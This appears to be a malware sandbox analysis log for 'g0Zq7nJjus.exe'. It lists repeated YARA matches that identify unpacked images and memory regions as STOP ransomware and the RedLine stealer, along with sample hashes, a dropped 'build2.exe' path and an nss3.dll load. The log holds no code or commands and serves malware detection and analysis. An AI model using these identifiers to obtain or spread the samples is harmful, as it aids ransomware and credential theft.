Source: g0Zq7nJjus.exe, 00000002.00000003.2107721060.00000000030B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameGariauts> vs g0Zq7nJjus.exe
Source: g0Zq7nJjus.exe, 00000005.00000002.2113481555.00000000008C6000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameGariauts> vs g0Zq7nJjus.exe
Source: g0Zq7nJjus.exe, 00000006.00000000.2112262125.00000000008C6000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameGariauts> vs g0Zq7nJjus.exe
Source: g0Zq7nJjus.exe, 00000007.00000002.2131963298.00000000008C6000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameGariauts> vs g0Zq7nJjus.exe
Source: g0Zq7nJjus.exe, 00000008.00000000.2130672836.00000000008C6000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameGariauts> vs g0Zq7nJjus.exe
Source: g0Zq7nJjus.exe, 0000000B.00000000.2233940483.00000000008C6000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameGariauts> vs g0Zq7nJjus.exe
Source: g0Zq7nJjus.exe, 0000000C.00000000.2237286990.00000000008C6000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameGariauts> vs g0Zq7nJjus.exe
Source: g0Zq7nJjus.exe, 0000000E.00000002.2323931253.00000000008C6000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameGariauts> vs g0Zq7nJjus.exe
Source: g0Zq7nJjus.exe, 0000000F.00000000.2320418488.00000000008C6000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameGariauts> vs g0Zq7nJjus.exe
Source: g0Zq7nJjus.exe	Binary or memory string: OriginalFilenameGariauts> vs g0Zq7nJjus.exe

Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe

Section loaded: nss3.dll

Source: g0Zq7nJjus.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 2.2.g0Zq7nJjus.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 2.2.g0Zq7nJjus.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.2.g0Zq7nJjus.exe.25e15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.2.g0Zq7nJjus.exe.25e15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 14.2.g0Zq7nJjus.exe.25d15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 14.2.g0Zq7nJjus.exe.25d15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 7.2.g0Zq7nJjus.exe.26c15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 7.2.g0Zq7nJjus.exe.26c15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.g0Zq7nJjus.exe.26615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.g0Zq7nJjus.exe.26615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.2.g0Zq7nJjus.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.2.g0Zq7nJjus.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 15.2.g0Zq7nJjus.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 15.2.g0Zq7nJjus.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.g0Zq7nJjus.exe.26615a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.g0Zq7nJjus.exe.26615a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.2.g0Zq7nJjus.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.2.g0Zq7nJjus.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.2.g0Zq7nJjus.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.2.g0Zq7nJjus.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 7.2.g0Zq7nJjus.exe.26c15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 7.2.g0Zq7nJjus.exe.26c15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 8.2.g0Zq7nJjus.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 8.2.g0Zq7nJjus.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.2.g0Zq7nJjus.exe.26e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.2.g0Zq7nJjus.exe.26e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.2.g0Zq7nJjus.exe.25e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.2.g0Zq7nJjus.exe.25e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.2.g0Zq7nJjus.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.2.g0Zq7nJjus.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 14.2.g0Zq7nJjus.exe.25d15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 14.2.g0Zq7nJjus.exe.25d15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 8.2.g0Zq7nJjus.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 8.2.g0Zq7nJjus.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 2.2.g0Zq7nJjus.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 2.2.g0Zq7nJjus.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 15.2.g0Zq7nJjus.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 15.2.g0Zq7nJjus.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.2.g0Zq7nJjus.exe.26e15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.2.g0Zq7nJjus.exe.26e15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000B.00000002.2258110870.000000000244B000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000008.00000002.3338149937.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000008.00000002.3338149937.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000E.00000002.2324121630.0000000000A50000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000B.00000002.2258200313.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000E.00000002.2324379535.00000000025D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000005.00000002.2114398215.0000000002544000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000007.00000002.2132445419.000000000254E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000C.00000002.2268021627.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000C.00000002.2268021627.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000000.00000002.2089445916.00000000024FA000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000F.00000002.2335331684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000F.00000002.2335331684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000007.00000002.2132518888.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000009.00000002.2197813106.00000000006D3000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: Process Memory Space: g0Zq7nJjus.exe PID: 884, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
